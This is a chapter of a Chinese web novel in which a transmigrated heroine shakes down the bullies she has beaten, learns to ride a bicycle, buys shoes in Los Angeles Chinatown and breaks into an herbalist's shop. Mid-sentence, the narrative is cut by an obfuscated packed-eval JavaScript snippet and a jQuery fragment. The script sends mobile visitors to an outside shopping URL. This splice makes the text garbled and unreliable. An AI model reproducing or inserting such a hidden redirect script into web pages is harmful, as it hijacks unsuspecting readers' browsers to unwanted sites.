彼时加州青少年一周的零花钱在10美元上前，但这不意味着他们口袋里随时揣着10美元。
拉丁男只有两美元，蓝色条纹衫的胖小子举着自己幸存的一只手，说道：“五美元……”
“我有两美元。”
“一美元……”
李至臻统统收缴，喜提13美元，这下打车钱，买新鞋的钱算是有了。
她也大方将人放了。
几人迅速爬远，湿漉漉挤成一团，然而钱都掏光了，瘟神还没送走。
“对了，你们——”她弯下腰。
几个齐齐抬手臂挡住自己的脑袋，都有些应激了。
“你们谁是我的好朋友？”她严厉的视线扫来扫去。
嗯？
几个人愣住，抢着回答：“我我我！”
“我是！”
“我是！”
“劳驾，谁有车，载我去唐人街买双新鞋吧？”
这样一来，打车的钱就省下了。
她抬腿，将开口的鞋子踩在拉丁男的膝盖上，让大家都瞻仰一下。
拉丁男想笑，但他被打得好痛啊，也不想喝马桶水，更担心笑开了她把脚喂进来，于是生生忍住。
见他们一个个都在犹豫，你看我我看你，在李至臻做势要把他们按进马桶，这时几人才抢着举手：“我！我！我！”
“我有车！”
“我也有！”
李至臻选定了胖小子的座驾，他的零花钱最多，看来家里条件最好，车子应该也不错。
“走吧，提车去。”
几个人互相搀扶，一瘸一拐地走出了洗手间。
“对不起，赫蒂。”有人缩头缩脑地道歉，为以前那些过分的事道歉。
剩下几个人的神情也变得犹犹豫豫的。
李至臻回头：“叫我李师傅就行。”
她没有说原不原谅，需要他们道歉的人已经不在了，她不想替谁原谅。
“李师父，李师父！”
他们的脑子已经进水了，李至臻说什么就是什么，不敢发出任何质疑。
“走吧，我赶时间。”
很快，胖小子从车库里拖出了他的座驾——一辆英国罗利牌自行车。
“怎么样！”胖小子拍拍他的真皮车凳。
李至臻点点头，“不错，开车。”
“开不了。”
“什么意思？”
“我的腿断了，使不上劲儿。”何况还要载一个人。
李至臻看向别人，其余几个也摆摆手，他们都伤得不轻，现在最想回去上药，或者去一趟医院。
李至臻不解：“腿断了很严重吗？”
人不是还在喘气？
胖小子以为李至臻担心他回家告状，马上说：“这件事我会推给鬼魂镇瘸帮的人，一定不会找你麻烦的。”
鬼魂镇瘸帮是康普顿恶名昭彰的帮派，鬼魂镇也是对“黑人”的蔑称。
其他几人纷纷点头，连撞进储物柜的黑人小子都没有意见，即使他毕业之后大概也会选一个帮派加入。
至于胖小子，以后大概会继承他爸爸的衣钵进警察局，这一官一匪在高中时还勉强算得上朋友。
见这群人真废了，李至臻干脆自己跨上自行车。
“怎么骑？”
“踩着踏板，保持平衡，就能骑出去了。”胖小子说得很简略，其他人亦惊奇她竟然不会骑脚踏车。
“这样？”
李至臻一只脚放上脚踏，连握车把都要指导，动作免不了的生疏。
然后她就踩下了脚踏，也没有人敢去给她扶着后座。
要知道初学者没有辅助轮，更没有人帮忙扶住后座，可是很容易摔的……
脚踏带动链条，脚踏车往前，李至臻另一只脚也放了上去，学着她今早在路上看到的人。
男孩们预想中的场面没有出现。
李至臻就这么骑着脚踏车往前走了，平稳得像在水里行船。
几个人交换着眼神：她之前真的不会？不可能吧？
用现在的话来说，李至臻的运动神经是顶尖的，她的平衡感也是顶尖的，就是站在树顶随风狂舞的细树枝上也不会倒下来。
自行车只要跑起来，就算会了。
她骑着车在学校里转了两圈，彻底熟悉之后，说了声“明天见”，蹬着车滴溜溜出了校门。
“明天见。”
“明天见……”
几个人异口同声，列成排，脑袋齐刷刷追随李至臻摇摇晃晃的身影转动，目送她消失在校门口。
“明天……”扑街男舔舔嘴唇，“或者哪天，我们会把场子找回来，对吧？”
“你说的！这话是你说的，不关我的事！”拉丁男迅速定责。
他慌忙摆手：“不……我没有！”
“对，就科里一个人说了这句话，我明天就告诉她！”胖小子立马跟上。
“没有没有！我没说！该死，我好痛啊！”
扑街男科里痛呼了几声，立刻不叫了。
因为他看到了一个擦着眼泪往外走的女孩。
是克劳迪娅。
克劳迪娅不想哭，可一瞬间从天堂到地狱的体验击倒了她。
不久前，汉斯夫人回来，宣布了《太阳之子》的角色是属于贝蒂的事，原来的《马戏团之王》的角色也会另外选人。
凭什么！凭什么是贝蒂！
她做错了什么呢，只是多问了一句，人生就这样彻底毁了，她会一辈子活在别人的嘲笑里。
就算去餐厅端盘子，也会遇到爱闲聊的女人，拿她错失成为电影明星的机会当谈资，唏嘘个不停。
克劳迪娅一路哭着走出来，眼泪打湿睫毛膏，哭成了两个黑眼圈。
“我恨她！我真恨她，我恨不得贝蒂那张脸立刻毁掉！”克劳迪娅扯着科里的衣领摇晃，她潮湿的眼睛里喷出火焰。
科里不知道该怎么安慰女孩，又希望她停止哭泣，于是问：“克劳迪娅，我能为你做些什么？”
“你……！”克劳迪娅哭声一止，靠近他，压低了声音，“你能不能帮我，把贝蒂的脸毁了？”
只有这样，才能挽救她的人生。
毁掉一个漂亮女孩的脸？科里不想做这样的事。
他看看天，憋出一句：“霸凌是不好的行为……”要是那个贝蒂打人也很痛怎么办？
“你什么意思，你不愿意拯救我吗？还有，你身上……是什么味道？”
克劳迪娅捏着鼻子退后一步。
“我没……没什么意思，我是说，我该回去了。”
科里也赶紧后退，保住自己的体面。
再看其他几个看热闹的人，听到这句也纷纷作鸟兽散，留克劳迪娅独自站在原地。
校门口恢复了往日的平静。
这点小插曲李至臻自是不知，她的自行车骑得越来越顺溜，轻功没练好之前，拿这个代步也不错。
骑了半个小时，李至臻看到了洛杉矶唐人街独具特色的雕龙红绿牌楼。
临近吃晚饭的时间，几家有名的餐厅已经坐满了人，排队的人蜿蜒到了餐厅外，占据着一半行人走道。
黄种人面孔在这里也多了起来，李至臻看着心里奇异地舒服不少，有从前在山林跋涉多日，遇着城镇的感觉。
骑
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17657472|207050||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
着脚踏车停停走走，李至臻在一家叫露丝·刘的鞋店门口下了车。
老板是个爽利的女人，一边和家人用粤语吵架，一边说着麻麻赖赖的普通话应付客人，然而李至臻能说梁朝官话、豫州方言，托原主的记忆能说英语，普通话却是根本听不懂的。
二人最终还是用英语交流。
她选定了一双运动鞋，轻巧结实，跳跃时还有回弹，要价3美元。
李至臻打算穿着走，但对穿鞋带子有点笨拙。
唐人街的街坊都很热情，这个老板同样如此，一面教她系鞋带，一面聊天：“我在唐人街没见过你，你是住哪儿的？”
“我住在康普顿，是被领养的。”
关于康普顿，老板最近也听得一些新闻，就顺势闲聊起来：“我听说药材张马上要从康普顿买一个老婆了。”
李至臻点头：“被卖的就是我。”
老板动作一僵，顺道又注意到李至臻手腕上渗血的纱布，还有她偏短的裤子里不知蔓延多大片的瘀青。
这还是个孩子呢，模样齐整，面庞稚嫩。
“我刚刚好像记错了价格，这双鞋是1.49美元。”老板心里可怜这女孩，决定做点好事。
“哦……好。”
李至臻付了1.49美元，直接穿着鞋走出店门，才走出去几步，又退回来，目光落在玻璃柜里做工厚实的老布鞋上。
“这双我也要。”
“现在年轻人没有喜欢这个款式的，你是要送人吗？”老板以为她要送给自己的新丈夫，有点不知道该说什么。
“年轻人不喜欢是年轻人没品位，这双我要自己穿。”
听说她要自己穿，老板照旧便宜了一点给她。
李至臻高高兴兴夹着老布鞋去了马克·张那老头的中药铺。
药铺占据着唐人街绝佳的地段，在奥德街和北百老汇街的交汇处，客流是不愁的。
然而此刻门却锁着，从玻璃门看进去，一个人都没有。
看来是没人在家。
人不在家，李至臻却不走，绕到了药铺后街，扒着红砖三下五除二就翻了进去。
打开电灯，在看到两面墙直顶到天花板的百眼柜时，李至臻的笑容更加灿烂。
她深吸了一口药香，通体舒泰了几分。
“熟地、炒白术、黄芪、当归、黑姜、人参……”
她心里自有一张回阳救逆的疗伤药方，拿了药钵就在密密麻麻的格子里找药抓药，挑的都是品质最好的存货，绝不肯亏待自己。
抓完药，李至臻也不怕药铺主人回来，自顾自就去了后院汤药房把药煎上，等药熬好的时间也不闲着，亲制了一张膏药贴在自己的手腕上。
—
此时的马克·张还不知道自己的铺子闯进了人，他正在去医院的路上。
马克张，唐人街的老街坊大多喊这老头作药材张，60年了还戴着瓜皮小帽，平日里只穿褂衫，因要走出唐人街，就换了黑色礼帽。
一路提着褂子，长着焦黄长指甲的尾指，不时伸出刮一刮胡子里的痒处。
昨天谈好老婆，他付了一半的钱，今天下午一过3点，药材张就有点坐立难安，隔不了几分钟就伸长脖子往药铺外边张望，等候的人却一直没有出现。
就这么熬到5点，药材张坐不住了，往布丽家打去电话。
电话没有人接。
药材张真有点慌了，不得不找到了康普顿去，布丽家一个人也没有，他去问了邻居，邻居说布丽一早尖叫着带儿子去了社区医院。
药材张就又往社区医院去了。
医院里，布丽正守着昏迷未醒的布莱恩。